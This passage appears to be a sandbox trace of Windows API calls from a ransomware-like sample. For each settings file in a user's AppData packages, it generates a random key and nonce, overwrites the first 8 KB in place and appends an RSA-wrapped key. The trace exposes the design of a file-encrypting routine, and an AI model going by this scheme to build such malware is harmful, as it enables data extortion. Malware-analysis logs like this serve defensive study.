lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.745] SetFilePointer (in: hFile=0x1060, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.745] WriteFile (in: hFile=0x1060, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.746] SetFilePointer (in: hFile=0x1060, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.746] WriteFile (in: hFile=0x1060, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.747] WriteFile (in: hFile=0x1060, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.747] CloseHandle (hObject=0x1060) returned 1 [0159.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0159.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0159.752] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.752] ReadFile (in: hFile=0x1060, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.770] SetFilePointer (in: hFile=0x1060, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.770] WriteFile (in: hFile=0x1060, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.859] SetFilePointer (in: hFile=0x1060, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.859] WriteFile (in: hFile=0x1060, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.860] WriteFile (in: hFile=0x1060, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.860] CloseHandle (hObject=0x1060) returned 1 [0159.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0159.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0159.861] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.862] ReadFile (in: hFile=0x1060, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.874] SetFilePointer (in: hFile=0x1060, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.874] WriteFile (in: hFile=0x1060, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.874] SetFilePointer (in: hFile=0x1060, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.874] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.874] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.874] WriteFile (in: hFile=0x1060, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.875] WriteFile (in: hFile=0x1060, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.875] CloseHandle (hObject=0x1060) returned 1 [0159.876] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0159.876] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.876] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.877] ReadFile (in: hFile=0x1060, lpBuffer=0x5c3548, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.877] SetFilePointer (in: hFile=0x1060, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.877] WriteFile (in: hFile=0x1060, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.877] SetFilePointer (in: hFile=0x1060, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.877] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.877] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.877] WriteFile (in: hFile=0x1060, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.879] WriteFile (in: hFile=0x1060, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.879] CloseHandle (hObject=0x1060) returned 1 [0160.019] WriteFile (in: hFile=0x106c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.020] CloseHandle (hObject=0x106c) returned 1 [0160.021] WriteFile (in: hFile=0x106c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.022] CloseHandle (hObject=0x106c) returned 1 [0160.023] WriteFile (in: hFile=0x106c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.024] CloseHandle (hObject=0x106c) returned 1 [0160.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0160.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0160.025] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0160.212] ReadFile (in: hFile=0x1080, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.212] SetFilePointer (in: hFile=0x1080, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.212] WriteFile (in: hFile=0x1080, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.212] SetFilePointer (in: hFile=0x1080, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.212] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.212] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.212] WriteFile (in: hFile=0x1080, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.213] WriteFile (in: hFile=0x1080, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.213] CloseHandle (hObject=0x1080) returned 1 [0160.215] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0160.215] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0160.215] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0160.216] ReadFile (in: hFile=0x1080, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.239] SetFilePointer (in: hFile=0x1080, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.239] WriteFile (in: hFile=0x1080, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.239] SetFilePointer (in: hFile=0x1080, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.240] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.240] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.240] WriteFile (in: hFile=0x1080, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.240] WriteFile (in: hFile=0x1080, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.240] CloseHandle (hObject=0x1080) returned 1 [0160.242] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0160.242] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.242] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0160.243] ReadFile (in: hFile=0x1080, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.278] SetFilePointer (in: hFile=0x1080, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.279] WriteFile (in: hFile=0x1080, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0160.279] SetFilePointer (in: hFile=0x1080, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0160.279] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.279] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.279] WriteFile (in: hFile=0x1080, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.280] WriteFile (in: hFile=0x1080, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.280] CloseHandle (hObject=0x1080) returned 1 [0160.282] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0160.282] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0160.282] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0160.282] ReadFile (in: hFile=0x1080, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.282] SetFilePointer (in: hFile=0x1080, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.282] WriteFile (in: hFile=0x1080, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.282] SetFilePointer (in: hFile=0x1080, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.282] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.282] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.283] WriteFile (in: hFile=0x1080, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.284] WriteFile (in: hFile=0x1080, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.284] CloseHandle (hObject=0x1080) returned 1 [0160.318] WriteFile (in: hFile=0x108c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.319] CloseHandle (hObject=0x108c) returned 1 [0160.320] WriteFile (in: hFile=0x108c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.321] CloseHandle (hObject=0x108c) returned 1 [0160.322] WriteFile (in: hFile=0x108c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.323] CloseHandle (hObject=0x108c) returned 1 [0160.337] WriteFile (in: hFile=0x108c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.338] CloseHandle (hObject=0x108c) returned 1 [0160.342] WriteFile (in: hFile=0x1098, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.343] CloseHandle (hObject=0x1098) returned 1 [0160.344] WriteFile (in: hFile=0x1098, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.345] CloseHandle (hObject=0x1098) returned 1 [0160.346] WriteFile (in: hFile=0x1098, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.348] CloseHandle (hObject=0x1098) returned 1 [0160.368] WriteFile (in: hFile=0x1098, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.369] CloseHandle (hObject=0x1098) returned 1 [0160.373] WriteFile (in: hFile=0x1098, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.374] CloseHandle (hObject=0x1098) returned 1 [0160.378] WriteFile (in: hFile=0x1098, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.379] CloseHandle (hObject=0x1098) returned 1 [0160.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0160.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0160.382] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0160.382] ReadFile (in: hFile=0x10a0, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.382] SetFilePointer (in: hFile=0x10a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.383] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.383] SetFilePointer (in: hFile=0x10a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.383] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.383] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.383] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.384] WriteFile (in: hFile=0x10a0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.384] CloseHandle (hObject=0x10a0) returned 1 [0160.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0160.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0160.392] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0160.393] ReadFile (in: hFile=0x10a0, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.393] SetFilePointer (in: hFile=0x10a0, 